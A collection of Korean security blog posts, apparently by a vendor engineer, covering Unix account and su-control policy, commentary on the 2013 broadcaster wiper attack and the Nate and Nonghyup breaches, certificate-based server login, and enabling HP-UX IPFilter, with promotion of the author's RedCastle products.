위의 두 지침에 의해 계정들이 그룹핑 되면 다음의 기본 SU통제 지침을 적용한다.

 

-       root oracle, weblogic 등 애플리케이션 관리자 계정간의 SU는 차단한다.

-       앞에서 그룹핑된 각 그룹에 속한 내부 사용자간의 SU는 허용한다.

-       서로 다른 그룹간의 SU는 차단한다.

  

 

4)    계정을 이용한 행위 감사(Audit)는 어떻게 할 것인가

 

계정에 대한 행위감사는 사용자가 서버에 telnet, ssh, rlogin 등의 방법으로 서버에 로그온 한 시점부터 로그아웃 시점까지의 모든 명령어 수행에 대해 기록을 남겨야 한다. 운영체제에서 제공되는 Shell History는 모든 명령어 입력에 대해 감사기록을 남겨주지만 세션에 대한 구분 및 하나의 계정으로 여러명이 접속하였을 때 각각의 원래 사용자를 식별하지 못하는 문제가 있기 때문에 큰 의미는 없다.

 

RedCastle과 같이 모든 세션을 식별하여 SU하기 전과 SU한 이후까지도 연결고리가 끊기지 않고 추적이 가능하도록 해야 하며 커널레벨과 TTY레벨의 추적 모두가 가능하도록 하면 최고의 사용자추적(행위감사)이 가능하다.


이상 네가지 기본적인 서버의 계정통제 정책을 적용하면 체계적인 계정관리가 가능하고 Unix/Linux 운영체제에서 제공되는 기본기능인 su 를 통해 타 계정의 권한을 탈취하는 악의적인 행동을 방지할 수 있다.

 

물론 이 계정통제 만으로 Unix/Linux 서버를 운영하는 전산시스템의 내부보안을 강화하는 것에는 한계가 있다. 추가적으로 파일접근통제 정책을 적용해야 제대로 된 서버보안 정책을 적용했다고 할 수 있다.

 

기회가 되면 파일접근통제에 대한 정책가이드도 올려보도록 하겠다.

 

현대캐피탈과 농협의 보안사고 여파로 인해 요즘살이 다 빠질 지경이다.. ^^




밤사이 부지런한 분석가들로 인해 KBS, MBC, YTN 그리고 일부 금융사 해킹으로 인한 전산시스템 다운의 원인이 밝혀진듯 하다. 원인은 각 사에서 사용하는 PMS 서버에 PC로 배포할 프로그램으로 위장하여 침투하고 정해진 시간에 일거에 동작하여 장애를 유발 시킨 지응적인 APT 공격으로 밝혀지는 듯 하다.

PMS (Patch Management System)  ??? 그리고  PMS의 취약점은 ??

Windows에는 제어판의 프로그램 추가/제거 기능이 있고 이 기능은 Windows 자체의 버그패치와 보안패치 그리고 windows 자체의 프로그램 설치와 제거를 할 수 있는 일종의 모듈관리 기능을 갖고 있다. 하지만 일반인 수준의 사용자들은 Windows 자체의 버그패치나 보안 패치를 잘 하지 않는다는 점에 착안하여 여러 보안 업체들이 Windows가 설치된 PC의 패치를 항상 최신으로 유지하기 위해 자동화된 시스템을 개발하여 PMS라는 이름으로 판매하고 있다.

또한 안랩 APC의 경우 윈도의 패치관리는 물론 V3 백신의 업데이트도 함께 수행하고 있다.

자동화하기 위해서는 중앙에 한대 혹은 그 이상의 패치를 배포하는 서버가 있어야 하고 패치 배포서버로 부터 파일을 받아 설치해주는 에이전트(Agent)라 불리는 프로그램이 PC에 설치되어야 한다. 

이번 해킹을 기획한 해커집단은 이 PMS가 갖고 있을 수 밖에 없는 근본적인 취약성을 공격한 것이다. 해커가 PMS 서버에 침투하여 악성프로그램을 모든 PC에 배포할 정상적인 패치파일로 위장할 수만 있다면 특정 기업이나 기관의 대부분의 PC에 악성프로그램을 배포하고 실행하여 장악할 수 있게 되는 것이다.

kbs 해킹

< APC로부터 피해를 입은 PC로 배포된 악성코드의 분석 화면 >

농협 사태와의 비교

이번 사고에서 가장 큰 역할을 한 것은 안랩의 APC 라는 PMS 및 백신업데이트 솔루션이다. 지난 번 농협의 사고 때 악용되었던 IBM의 시스템관리 솔루션이 떠오르는 것은 과연 우연일까 ? 어찌 보면 공격의 대상이 서버에서 PC로만 바뀌었을 뿐 특정 기업의 중앙 집중관리 솔루션이 공격의 대상인 것은 동일한 그림이다.

농협의 경우 IBM에서 공급한 유닉스 서버의 시스템관리솔루션에 의해 수백대의 서버에서 동일한 명령이 실행되어 디스크를 포맷(유사한)하는 공격인 것으로 알려졌다. 한 때 IBM과 방통위와의 격한 싸움(?)이 날뻔 했다는 소문도 있었다. 

이번 사고에서 악용된 솔루션은 PMS와 백신업데이트 서버다. 수백대의 PC에 파일을 배포하고 동시에 실행하는 솔루션이다. 

양쪽 모두 중앙집중관리를 위한 솔루션이라는 점이 공통점이다.


결국은 또 서버 공격이었다.

농협사태를 비롯해 최근 발생하는 해킹사고의 1차 침투 대상은 바로 서버다. 하지만 아직도 많은 전산전문가라는 사람들은 백신타령만 한다. 백신은 PC 보안의 첨병이다. 하지만 사고를 예방하기 위해 PC의 보안만 강조하는 것은 너무도 무책임한 처사다. 

하지만 서버에 대한 보안은 참 어렵다. 전산전문가들과 보안 전문가들 조차도 손대기 어려운 것이 바로 서버의 보안이다. 왜냐하면 우리나라의 IT 업무 풍토상 서버에 보안을 강화하면 개발자나 서버 관리자가 소위 "죽는 소리"를 한다. 일이 힘들어진다고 생각하기 때문이다.

물론 서버에 보안을 적용하는 첫단계는 매우 힘든 것이 사실이다. 서버의 계정에 대한 관리 정책 수립과 권한에 대한 분리, 개발자들의 업무 패턴, 솔루션 관리에 대한 체계 수립, 위험 명렁어에 대한 실행권한 체계 수립 등 보안정책으로 수립되어지고 지켜져야할 것이 꽤나 많기 때문이다.

하지만 이러한 보안관리 체계가 수립되지 않으면 대형 보안사고는 계속 터질 수 밖에 없다.


잔소리) Windows 서버의 보안체계의 문제점

보안쪽 일을 하는 기술자의 입장에서 Windows는 솔직히 썩 권장하고 싶지 않은 운영체계다. Windows의 기초 설계 개념에 보안이 그리 중요시되어 있지 않았다는 것이 눈으로 보일정도이고 제공하는 보안 기능도 그때 그때 필요에 따라 추가한 냄새(?)가 진하게 나기 때문이다. 

보안의 기본인 계정에 대한 권한 분리가 Windows의 기본설계에 제대로 반영되어 있지 않다보니 Windows 운영체계에서 실행되는 많은 솔루션들도 자연스레 보안을 무시하고 개발하게 된다. 예를 들면 백신이나 보안솔루션들이 cmd.exe를 너무도 빈번하게 실행하는 점과 많은 SW들이 system 이라고하는 Windows의 최고 권한의 계정권한으로 실행된다. 이는 해당 솔루션이 해킹을 당하면 Windows의 최고 관리자 권한이 바로 탈취된다는 점에서 무척 위험한 설계라고 할 수 있다.




2013년 3월 20일... 또 보안사고 역사에 길이(?) 남을 만한 보안사고가 발생했다. 조금은 특이한 형태의 공격인 듯 한데 KBS, MBC, YTN 3개 방송사의 내부 전산망이 일시에 다운이 된 사고다.

그런데 이 표현 "방송사 내부 전산망이 일시에 다운"이라는 표현은 참으로 무지한 표현이다. "전산망" 이라함은 "서버와 서버 혹은 서버와 PC를 연결하는 Network"를 일컫는 표현이다. DDOS와 같은 공격에 장애가 발생할 경우 "전산망" 공격이라는 표현이 옳은 표현이겠지만 이번의 경우는 "전산망 다운"이라고 부르면 안된다고 생각된다.

"KBS, MBC, YTN" 공격의 특징

여기 저기서 들려오는 소문과 객관적 사실들을 정리해보면 

1. KBS 아나운서의 트위터 : 오후 2시경 갑자기 PC가 리부팅 한다고 메시지를 띄운 뒤 종료된 뒤 부팅이 안됨.

2. 농협에 갔던 1인(잘아는 지인) : 갑자기 긴급 상황이라며 PC나 노트북에 연결된 랜선을 모두 뽑아달라고 농협 직원이 요청.

3. YTN,MBC, KBS 관계자 (뉴스기사) : 수백대의 PC가 종료된 뒤 다시 켜지지 않음.

4. 모 VAN사 (MS에 문의결과) : PC의 Windows에 부팅파일들이 삭제되는 공격으로 보인다고 답변.

내가 확인할 수 있던 몇몇 상황을 보면 이번 사고는 DDOS와 같은 서버와 네트워크를 마비시키는 공격이 아닌 보다 심각한 상황을 만들기 위해 오래전부터 방송3사 (KBS, YTN, MBC)의 내부 PC들을 공격하기 위해 준비를 한 것으로 보인다. 사실 이 준비단계가 쉬운것은 아니다.

그리고 농협의 경우 직접 공격을 당하지 않았음에도 사고 발생 한시간 남짓만에 PC에 연결된 랜선을 뽑아달라고 요청한 것으로 보아 원인을 이미 알고 있었던 것으로 보인다.



백신이 왜 막지를 못했는가?

PC의 악성코드 감염과 관련된 이슈가 나올 때마다 나올 법한 백신 이슈는 이번에도 잠잠할까?? 의문이다. 왜냐하면 이번 사고를 포함해서 DDOS 공격 등 대형 보안사고의 경우 어김없이 PC에 감염되는 악성코드에 대한 이야기가 표면으로 떠오르기 때문이다. 그럼에도 불구하고 백신에 대한 책임론은 그리 크게 부각되지 않는다. 이런 사고가 발생할 때마다 오히려 백신을 설치하라는 이야기가 더 많이 나오곤 한다. KBS, MBC, YTN 모두 V3 백신이 설치되어 있음에도 PC의 악성코드 감염을 막지 못했는데도 말이다. 역설적이지 않은가???

백신은 새로나온 악성코드는 잡아내지 못하는 너무나 큰 단점이 있다. 이는 백신 자체가 블랙리스트 방식을 취하고 있기 때문이다. 블랙리스트 방식은 "위험한 파일의 패턴" 목록을 갖고 있고 PC내에서 프로그램이 실행될 때마다 "위험한 파일"인지를 이 패턴 목록과 비교하여 차단하는 형태를 말한다.반대의 경우는 화이트리스트 방식이라고 한다. 


예방 대책은 없는가?

 지금까지의 블랙리스트 방식의 백신은 해결책이 되지 못한다. 전혀 새로운 개념의 백신이 필요할 듯 싶다. 인공지능형 백신?? 그런건 아직 실현불가능하다. 어느정도 해결 가능한 아이디어가 있긴 하지만 블로그에 풀기에는 그 무게가 너무 무겁다. 언젠간 그런 제품이 나오지 않을까를 기대해본다.


가장 중요한 "해킹 경로"는 ?

사고 발생 7시간여가 되어가는 지금.. 정확한 해킹경로는 밝혀지지 않고 있다. 하지만 몇몇 해킹가능성이 의심되는 경로가 발표되고 있다. 경로는 불분명하지만 공격 대상은 명확하다. 바로 업무용 "PC"다. 즉 Windows xp/7 등의 OS가 설치되어 있는 PC..그중에서도 Disk 파괴다. 

언론에 언급되는 MBR은 Master Boot Record 의 약자로서 C: 드라이브의 물리적인 가장 앞부분.. Windows가 부팅되는데 가장 필수적인 매우 작은 영역이다. 이곳이 지워지거나 파괴되면 PC는 부팅되지 않으면 일반적인 Windows의 설치 방법으로는 복구가 되지 않을 수도 있다.

그렇다면 해커는 어떻게 PC까지 악성코드를 감염시켰을까?

몇몇 흘러나오는 이야기를 정리하면...

1. 안랩에서 제공하는 PMS (Patch Management System)을 통해 업무용 PC에 배포되었을 거라는 이야기가 있다. 하지만 현실적으로 이런 방식으로는 여러 방송사와 기관을 동시에 해킹하기는 쉽지 않다.

2. URL 해킹이라는 이야기...  솔직히 난 URL해킹이라는 해킹기법은 처음 들어본다. 언론에서 URL해킹 이라는 이야기를 하지만 솔직히... 뭘 의미하는지 이해할 수 없다. URL을 변조하는 공격은 DNS의 주소를 바꿔치기한다는 이야기인지 모르겠다. 바꿔쳤다고 해도 외부에서 웹서버도 아닌 내부 네트워크에 있는 PC까지 URL 바꿔치기로 접근한다는 것은 불가능하다. 뭘 모르는 사람의 말도 안되는 이야기를 언론에서 떠는 것 같다.

3. 고전적 기법의 악성코드 유포.  가장 가능성이 높을 것 같다. 이메일을 통해 첨부파일로 감염을 시키거나 다른 웹사이트.. 예를 들면 방송국 근무자들이 많이 드나드는 웹사이트를 먼저 해킹하여 Java Script 해킹기법 등을 통해 악성코드를 유포하도록 웹페이지를 변조 한 뒤 공격대상인 3개 방송국에 만족할 만한 숫자의 PC를 확보한 순간 일제히 PC를 공격하도록 했을 가능성이 있다.

아직은 정확한 조사결과가 나오지 않아서 잘 모르겠지만 어떤 결과가 나오든 명확한 것은 DDOS에만 관심을 쏟다가 제대로 해킹다운 해킹을 당했다는 것이다. 

DDOS는 사실 단지 서비스를 못할 뿐이다. 중요한 정보가 유출된 것도 아니고 기관 내부의 PC나 서버의 데이터가 훼손된 것도 아니다. 피해는 상대적으로 적을 수 밖에 없다. 하지만 이번 사고처럼 내부의 수백대의 PC가 망가지거나 농협의 경우처럼 서버의 파일이 손상되거나 정보가 유출되면 그 피해는 엄청날 수 밖에 없다. 이번 해킹사고는 정말 중요하게 생각해야할 것이 무엇인지를 보여주는 매우 중요한 사고 사례다.

 








보안 강화의 어려움

보안 업계에서 일하면서 느끼는 것 중 하나가 유독 보안업계에는 서버나 네트워크 혹은 업무 시스템의 개발과 구축 경험을 가지지 않은 "보안 전문가"가 많다는 것이다. 그러다 보니 "보안"을 문서나 말로만 하는 사람들이 많고 실제 서비스 운영이나 업무 영역의 소프트웨어를 개발하는 실무자들과 트러블이 많아진다. 우리나라 IT 분야의 특성 상 보안 업무는 개발이나 운영 그리고 IT 시스템을 사용하는 비지니스 업무 담당자들로부터 "방해꾼"의 오명을 뒤집어 쓰는 경우가 많다. 당연히 보안 실무자들의 업무 수행은 어려워질 수 밖에 없다.

가뜩이나 "보안을 강화하면 현업 업무가 불편하고 어려워진다" 는 인식이 강한데다 현업 업무 담당자들이나 업무 시스템 개발자, 운영자들이 볼 때는 현업 업무도 모르면서 입으로만 "보안강화"를 외친다는 인식을 갖게 될 수 밖에 없다.

이러한 인식을 불식시키기 위해서는 보안 정책을 강화하고 실 업무에 적용할 때 현업 업무 담당자들의 애로와 고충을 귀기울여 듣고 어려움을 해소시켜주려는 노력을 해야하며 보안을 강화하는 것이 업무를 불편하게 하는 것이 아니라 업무 프로세스를 정립하는 과정의 일부분임을 이해시키는 설득의 과정이 필요하다. 또한 보안 컨설턴트들은 개인의 간판을 중요시 할 것이 아니라 서버나 네트워크 장비의 특성과 업무단의 어플리케이션 개발에 대한 경험은 물론 웹서버, 미들웨어, 클러스터, 데이터베이스, 백업S/W, 시스템 관리 S/W 등의 다양한 솔루션들에 대한 이해와 운영 경험을 갖는 것을 더 중요시해야 할 것이다.

APT 공격 방어를 위한 공인인증 서버 접근제어 기법

아래의 동영상에서는 APT 공격을 방어하기 위한 일환의 하나로 공인인증서를 소유하고 공인인증을 받아야만 서버에 Telnet, FTP를 통해 접속할 수 있도록 하는 서버 접근제어 기법을 보여준다.

최근 APT 공격의 과정 중 하나로 내부 사용자의 노트북이나 PC를 장악하고 서버에 침투하는 경우가 많다. 만약 USB등의 매체에 공인인증서를 갖고 있으며 서버에 접근할 때 해당 공인인증서를 통해 인증을 받아야만 서버에 Telnet, FTP 접속을 가능하게 한다면 상당부분 APT 공격을 통해 서버에 접근할 수 있는 권한을 얻는 것을 차단할 수 있다.

또한 공인인증을 받기 위해 내부에 인증서버를 둔다면 인증서버의 감사로그를 통해 자연인 누가 어느 서버에 접속을 시도하고 성공했는지를 검증할 수 있을 뿐만 아니라 서버에 접근한 뒤 파일 접근 감사로그에서도 서버 계정 뿐만아니라 해당 계정을 사용한 자연인 누가~ 어느 파일에 접근 위반을 발생하였는지도 실시간으로 확인할 수 있다.




2011년에 발생한 굵직 굵직한 보안사고를 자세히 살펴보면 두가지 형태의 보안사고로 나뉘는 것을 알 수 있다.

첫째는 개인정보를 획득하기 위해 인터넷에 공개된 웹서버를 공격하여 서버에 침투한 뒤 개인정보를 탈취하는 형태의 전통적인 해킹이고....
 
둘째는 다양한 기법을 이용하여 내부의 PC를 거점으로 확보하고 그 PC를 이용하여 내부의 서버에 침투하는 해킹을 수행하는 APT 공격이다.

그 중에서도 두번째의 APT 공격은 사회공학적 기법의 해킹 기술부터 최신 해킹기술을 총 망라하여 지속적으로 해킹을 시도하는 무척이나 지능적인 공격기법이다. APT 공격의 특징은 직접 서버를 공격하지 않는데 있다. 외부에서 내부망에 존재하는 수많은 PC들 중 보안에 취약한 특정 PC를 해킹하고 해킹된 PC를 이용해 서버에 접근하는 것이다. 오랜시간 동안 점진적으로 서버의 주요 데이터에 접근하는 기법으로서 내부망에서 PC를 사용하는 개발자나 관리자 그리고 외부 상주인력 등의 PC가 1차 거점이 되는 형태다.

이러한 해킹의 경우 웬만한 보안 솔루션으로는 서버로의 접근(로그인)을 차단하는 것이 쉽지 않다. 이중..삼중 보안 대책을 강구하는 것이 그나마 통제할 수 있는 방법이다.

그 방법의 일환으로 공인인증서를 이용한 서버 접근제어 기법에 대해 설명하고자 한다. (OTP/ARS도 가능함)

서버의 계정과 자연인의 Mapping

서버에 telnet, ftp, ssh 접속 시 공용 계정을 직접 이용하는 것이 일반적이다. 최근에는 모든 개발자와 관리자, 엔지니어가 개인 계정을 생성하고 그 개인계정을 통해 접속하도록 통제하는 경우도 있지만 사실 모든 시스템에 적용되어 있지는 않고 서버에 많은 계정을 만드는 것은 보안에 취약하다는 선입견으로 인해 공용 계정으로 많은 사람들이 접속하는 경우가 대부분이다.

하지만 이러한 경우 개발자나 관리자, 엔지니어의 보안적 관점에서의 마인드는  빵점~이 될 수 밖에 없다. 사고를 쳐도.. 누가 사고를 쳤는지 패스워드 유출 등의 사고가 발생할 수 있는 취약점을 만들었는지를 확인하지 못하기 때문이다.

이럴 때 다음과 같이 자연인 기반의 계정(서버에 존재하지 않고 인증서버에만 존재하는 계정)과 서버의 계정을 연결시켜주어 실제 로그인 시 누가 로그인했는지 식별할 수 있도록 해준다.

인증서버에서 보안관리자가 자연인과 서버의 계정을 매핑시켜주는 것은 해당 자연인이 서버에 공인인증서를 이용하여 인증을 받고 telnet, ftp, ssh 로그인을 할 수 있다는 것을 의미한다. 즉.. 맵핑되지 않은 계정이나 서버에는 패스워드를 알고 있더라도 로그인이 불가함을 의미한다. 이것 만으로도 보안성이 크게 강화된다.
 
자신이 사용할 공인인증서 등록

인증서버에 계정이 생성되고 서버의 실 계정과 맵핑이 되면 서버에 로그인할 때 사용할 공인인증서를 등록하여야 한다. 다른 인증서는 사용할 수 없으며 자신이 등록한 공인 인증서만 사용할 수 있다.

인증서 등록 시 주민번호 확인

인증서 등록 시 비밀번호 확인

사용할 인증서 등록이 완료되면 이제부터 서버에 공인인증을 통해 로그온 할 수 있다.


서버 로그온

서버에 telnet, ftp, ssh 접속 시 ID와 패스워드를 입력하고 난 뒤 공인인증서를 요구하는 창이 실행된다. 이 창은 BCQRE의  Trust Web으로 구현되어 있으며 인증서 창을 띄워주는 Cert Daemon을 PC에 설치하여야 하며 이 Cert Daemon은 항상 Window Tray에서 실행되어 있어야 한다.

2 factor 인증

이 때 사용되는 Telnet, FTP, SSH 클라이언트 프로그램은 어떠한 것을 사용해도 관계 없다. 개발자, 관리자의 손에 익고 편리한 툴을 그대로 사용하면 되기 때문에 업무 수행에 지장을 주거나 하지는 않는다.

이 공인인증 방식의 보안 효과는 탁월하다.

자연인을 공인인증서에 의존하여 식별하기 때문에 root 계정으로 로그인하여도 실제 로그인한 자연인이 누구인지를 해당 텔넷 세션이 종료될 때까지 추적하며 보안 정책 위반 시 실제 위반한 사람이 누구인지를 정확하게 추적할 수 있으며... 자연인 기반의 파일 접근통제도 가능하다.

게다가 주요 명령어 실행 시 한번 더 공인인증서 인증을 받아야만 실행할 수 있도록 파일 접근 통제도 강화할 수 있다.

공인인증서 이외의 인증수단은 무엇이 있는가?

최근 공인인증서에 대한 취약성이 이슈가 되고 있다. 사용자PC의 하드디스크에 공인인증서를 저장하게 될 경우 인증서 비밀번호만 탈취하면 공인인증서 인증을 무력화 할 수 있는 취약성이 존재하기 때문이다. USB에 저장하여도 APT 공격에 의해 PC가 해커에게 장악될 경우 USB가 꼽혀있는 시간 동안 인증서를 복사하여 하드디스크로 옮길 수 있다.

그렇기 때문에 최근에는 공인인증서 뿐만 아니라 OTP(One Time Password)와 ARS(전화) 인증 중에서 선택하여 2차 인증 수단으로 사용할 수 있다.

OTP의 경우 하드웨어 토큰방식과 스마트폰의 앱 방식을 모두 사용할 수 있고 ARS의 경우에는 사용자의 스마트폰이나 관리자에게 전화를 걸어 인증코드를 입력하여야 접속이 가능하도록 구현이 가능하다.

이렇게 다양한 2차 인증 수단을 제공하는 보안 솔루션이 바로 RedCastle과 AuthCastle이다.


관련 포스트 보기 : APT 방어 시스템 구축 방안과 네트워크 기반 APT 방어 솔루션에 대한 오해



2011년 7월 26일, 대한민국 IT 역사상 최대 규모의 개인정보 해킹 사고가 발생했다. 대한민국의 중딩(?) 이상 국민이라면 하나쯤 ID를 갖고 있는 네이트닷컴과 싸이월드에서 발생한 보안사고 이기에 그 심리적인 충격은 상상하기 어려울 만큼 크다.

 "공지확인"을 타고 들어가면 다음과 같이 개인정보 유출 여부를 확인할 수 있다.



아무짝에도 쓸모없는 패스워드 암호화 ?


SK컴즈는 유출된 정보에 ID와 패스워드가 포함되어 있으나 패스워드는 암호화되어 있으므로 아무문제가 없다고 말한다. 하지만 SBS의 기자가 테스트한 결과 숫자와 알파벳으로 구성된 6자리의 패스워드의 경우 짧으면 3초, 길면 30여초 내에 패스워드를 확인할 수 있다고 한다. (남들 다 쓰는 단순한 hashing알고리즘만을 썼다면 당연한 결과다.)

관련기사
http://news.sbs.co.kr/section_news/news_read.jsp?news_id=N1000960683

인터넷에는 여러가지의 패스워드 크래킹 툴들이 공개되어 있다. 이 크래킹툴들을 이용하면 "암호화된 패스워드"만 알고 있다면 패스워드가 아무리 복잡하고 길어도 이론적으로 해킹이 가능하다. 더군다나 8자리 이하에 숫자와 알파벳으로만 구성되어 있다면 요즘 판매되는 PC의 우수한 성능을 감안할 때 한시간이내에 뚫린다고 보면 된다.

만약 여러 패스워드 크래킹 툴을 무력화 할 수 있는 더욱 안전한 암호화 방법을 사용했다면 SK컴즈의 말대로 훨씬 안전할 수 있다. 하지만 그렇다고 확신할 수는 없다. 네이트의 암호화 방식이 안전하다고 누가 책임진다고하던가?
개인정보를 보관하고 있는 포털에서 개인정보를 허술하게 관리하여 해킹에 무기력하게 데이터를 탈취당한 상태에서 패스워드가는 안전하다고 외치는 것을 과연 신뢰할 사람이 몇이나 되겠는가 ?

즉...
네이트와 동일한 아이디를 사용하는 모든 사이트의 패스워드를 즉각적으로 변경하여야 한다. 아직 변경하지 않은 분이 있다면 즉시 변경하길 강력하게 권고한다.

이번에도 좀비PC 때문이다 ?

또 나왔다. DDOS 공격때문에 발생한 77인터넷 대란, 그 후에 발생한 몇몇 공공기관의 서비스 마비, 농협의 270대 서버의 파일삭제로 인한 사고 , 그리고 이번 네이트닷컴과 싸이월드의 해킹사고까지 단골 손님(?)으로 등장하는 것이 좀비PC다.

현재까지의 네이트닷컴의 해킹사고에 대한 조사결과를 정리하면 다음과 같은 해킹 과정이 추측된다.

1. 이메일을 통해 개발자의 PC에 원격제어가 가능한 프로그램이 설치되었다.
2. 해커가 개발자의 PC에 연결하고 서버의 관리자(root 혹은 db접근가능한 ID) 계정과 패스워드를 
    획득하였다.
3. 해커가 개발자 모르게 서버에 접속하여 DB까지 접속하였다.
4. 3500만명의 정보를 파일로 Export하였다.
5. PC로 Export된 파일을 가져오고...
   (혹은 서버에서 직접 중국의 해커가 관리하는 서버로 접속하여 파일 직접 전송)
6. PC로 가져온 파일을 해커의 PC혹은 서버로 전송

이번에도 역시 서버의 책임보다는 개발자 개인의 PC로 그 책임이 귀결되어지는 양상이다. Windows가 설치되는 PC는 근본적으로 보안에 취약할 수 밖에 없다. 역시 이번에도 백신이 설치되어 있었지만 무용지물이었다. 알려지지 않은 공격도구를 백신은 탐지하지 못하기 때문이다. 그리고 이 사실은 SK컴즈의 보안책임자도 잘~알고 있을 것이다.

그리고 이메일로 전파되는 공격도구를 차단할 방법은 사실 없다고 봐도 무방하다. 메일월이나 IPS등등 많은 네트워크 보안도구들이 있지만 이번처럼 새로운 공격도구를 만들어 공격하면 차단이 불가능하다. 이러한 사실 또한 보안전문가들은 잘~알고 있다.

결국 이러한 보안사고를 예방하기 위해서는 좀비PC가 되는 개인PC와 그 PC의 주인인 개인만 조질(?)것이 아니라 중요한 데이터가 저장된 서버의 보안을 강화하는 것이 보다 효과적임은 자명한 사실이다.

서버의 보안을 강화하지 않으면 이번 SK컴즈의 해킹사고와 같은 보안사고는 계속 발생할 것이다.
아니... 언론에 공개되지 않는 수많은 보안사고가 이미 발생하고 있다. 지금도 발생하고 있을 수 많은 보안사고 중 하나가 "네이트닷컴" 개인정보 DB 해킹사고 일 뿐이다.

별로 새로운 이야기는 아니다.




 



최신 Unix 운영체제들은 서버의 보안을 강화하기 위해 내부적으로 Firewall Module을 기본적으로 탑재하고 있다. Solaris, HP-UX와 같은 상용 Unix의 경우 오픈소스인 IP Filter를 자신들의 운영체제에 최적화하여 기본 운영체제 패키지 안에 포함시켜 설치되도록 하고 있다.

HP-UX에도 기본적으로 탑재되어 있는 IPF는 무척 강력한 패킷필터링 기능을 갖고 있으며 다양한 옵션에 의해 상용 네트워크 방화벽 못지않은 성능을 발휘한다.

IPF를 사용하기 위해서는 다음 두 개의 서비스모듈이 커널에 로드되어야 한다.

- ipf
- pfil

이 두개의 커널모듈이 커널에 적재(load)되어 있는지 여부는 kcmodule 명령으로 확인할 수 있다. (HPUX 11.23 이상)


이 두개의 커널모듈은 서버의 리부팅 없이 동적으로 커널에 적재(Load)되고 삭제(Unload)될 수 있는 DLKM (Dynamic Loadable Kernel Module) 형태로 만들어져 있으며 kcmodule 명령 혹은 sam 유틸리티에 의해 상태의 확인 및 부팅 시 자동로드 여부를 설정할 수 있다.


만약 앞의 kcmodule | grep -i pf 명령에 의해 두개의 모듈 즉 ipf와 pfil이 모두 "Loaded" 상태임에도 ipf의 패킷필터링 정책이 적용되지 않아 차단해야하는 포트에 원격에서 접속이 이루어진다면 ipf 모듈 두개가 커널에 로드되어 있지만 "패킷 필터링"을 수행하지 않고 패킷을 그냥 흘려보내고(bypass) 있는 것이다. 즉 차단 정책이 적용되어 있어도 차단하지 않는 것이다.

이런 현상, 즉 ipf가 구동중이지만 정책이 적용되지 않는 현상을 확인하기 위해서는 ipfstat 명령을 실행시켜봐서 패킷을 감지하고 있는지 보거나 ipfilter -q 명령을 통해 enable 여부를 확인하여야 한다.

- ipfstat 명령 수행결과 -

- ipfilter -q 명령 수행결과 -

만약 위의 두 명령수행 결과 패킷필터링을 수행하지 않고 있다면 다음의 명령을 통해서 Enable 시켜주면 된다.


이때 주의할 점은 네트워크 설정에 오류가 있을 경우 서버의 네트워크가 다운될 수 있다는 것과 패킷필터링을 수행하기 위해 이더넷을 플럼빙할 때 새로운 세션의 연결이 잠시 차단되고 기존의 세션도 잠시 멈출 수 있다는 것이다.

패킷필터링을 중지할 때는 옵션만 바꾸어 주면 된다. 옵션은 -d 다.!!

SecureOS인 RedCastle은 이 IPF의 활용도를 극대화할 수 있도록 해준다. RedCastle에서는 GUI에서 IPF 정책을 관리(적용/수정/삭제)할 수 있도록 해주고 IPF 로그도 GUI에서 모니터링하고 검색, 조회할 수 있는 기능을 제공한다.






농협의 보안 사고에 대한 검찰의 수사 결과가 어처구니 없게도 "북한의 소행"으로 몰려가는 듯 한 분위기다. 대부분의 전산 전문가들은 검찰의 수사 결과에 고개를 갸우뚱~~하고 있지만 누구도 대놓고 의문제기를 하지 못하고 있다. 그랬다간.... 빨간 딱지가 터억~~하고 붙여질 것이 뻔하기 때문이다.

자칫, 21세기에 20세기 중반 미국에서 일었던 "메카시 광풍"이 다시 일어날지도 모른다는 내 기우가 그저 기우로 그치기를 바랄 뿐이다.

만약 농협 서버들의 보안사고가 진정 북한의 소행이라면 우리나라의 주요 대북 기밀정보가 보유되어 있는 정부기관과 금융기관의 시스템들은 이미 북한이 대부분 훓고 지나갔다고 볼 수 있다. 그만큼 농협에서 발생한 서버 침투 및 파일 삭제를 중국을 거치는 인터넷을 통해 외부에서 자행한 공격이라고 보기에는 기술적으로 불가능에 가깝기 때문이다.

게다가 공격이 직접 자행된 노트북이 IBM의 엔지니어 소유의 것이라는 점도 의문이다. 나도 엔지니어지만 엔지니어들은 서버든 노트북이든 사용중 발생하는 작은 오류 혹은 성능의 저하 혹은 비정상 증상에 매우 민감한 사람들이다. 노트북이 조금만 느려져도, 작은 오류가 생겨도 왜 그런지를 찾아보는 습관(?)이 몸에 배인사람들이다. 그런 사람들중 하나인 IBM의 엔지니어가 노트북에 악성코드 80여개가 감염돼 자신의 노트북이 좀비PC가 되었는데 그것을 모르고 그런 노트북은 그냥 사용하고 있었다는 것도 의문이다.

그리고 공격도구가 서버에 접속하기 위해서는 패스워드와 서버의 IP주소를 알아내야 한다. 게다가 패스워드와 IP주소는 두개가 맵핑되어야 한다. 서버별로 일치하는 패스워드와 IP주소를 알아내는 방법에는 여러가지가 있겠지만 쉽게 유추할 수 있는 방법은 키보드 입력을 가로채는 것이다. 하지만 키보드 입력을 가로채는 것은 백신에서도 탐지할 수 있고 인터넷 뱅킹 등 금융기관에 접속할 경우 키로그를 가로채는 것을 탐지하는 보안 도구들이 설치되기 때문에 현실적으로 농협서버에 엔지니어가 접속할 때 입력하는 패스워드를 가로챘다는 것 또한 이해하기 어려운 점이다.

또 다른 유추 가능한 방법으로는 엔지니어가 작업하는 노트북 화면을 캡쳐하여 외부로 유출시키는 방법이 있다. 하지만 이 방법으로는 패스워드를 가로챌 수 없다. 패스워드는 입력 시 화면에 * 로 표시되거나 아예 표시되지 않기 때문이다. 만약 패스워드를 문서에 저장해 놓았다면 가능하겠지만 그렇지는 않았을 거라 생각된다. 만약 그랬다면 IBM은 고객의 패스워드를 보관하는 치명적인 잘못을 저질렀기 때문에 농협은 IBM을 상대로 소송을 걸어 손해배상을 청구해도 이상할 것이 없다. 하지만 농협은 침묵을 지키고 있다. 왜일까? 그것은 증거가 없거나 패스워드를 IBM직원이 문서로 보관하지는 않았기 때문일 것이다.

그리고 농협 외부의 인터넷을 통해 농협의 내부에서 네트워크에 연결된 노트북을 제어하기 위해서는 노트북에 원격제어가 가능한 공격도구가 설치되고 구동되어 있어야 한다. 원격제어가 가능한 공격도구들이 많기는 하다. 하지만 그런 공격도구들은 노트북의 사용시 느낄 수 있을만큼 노트북을 느리게 만드는 경우가 많다. 게다가 노트북에서 비정상적인 프로그램들이 실행되고 서버에 접속하게 되는데 그것을 "IBM엔지니어"가 오랫동안 모르고 있었다는 것도 이해되지 않는다.

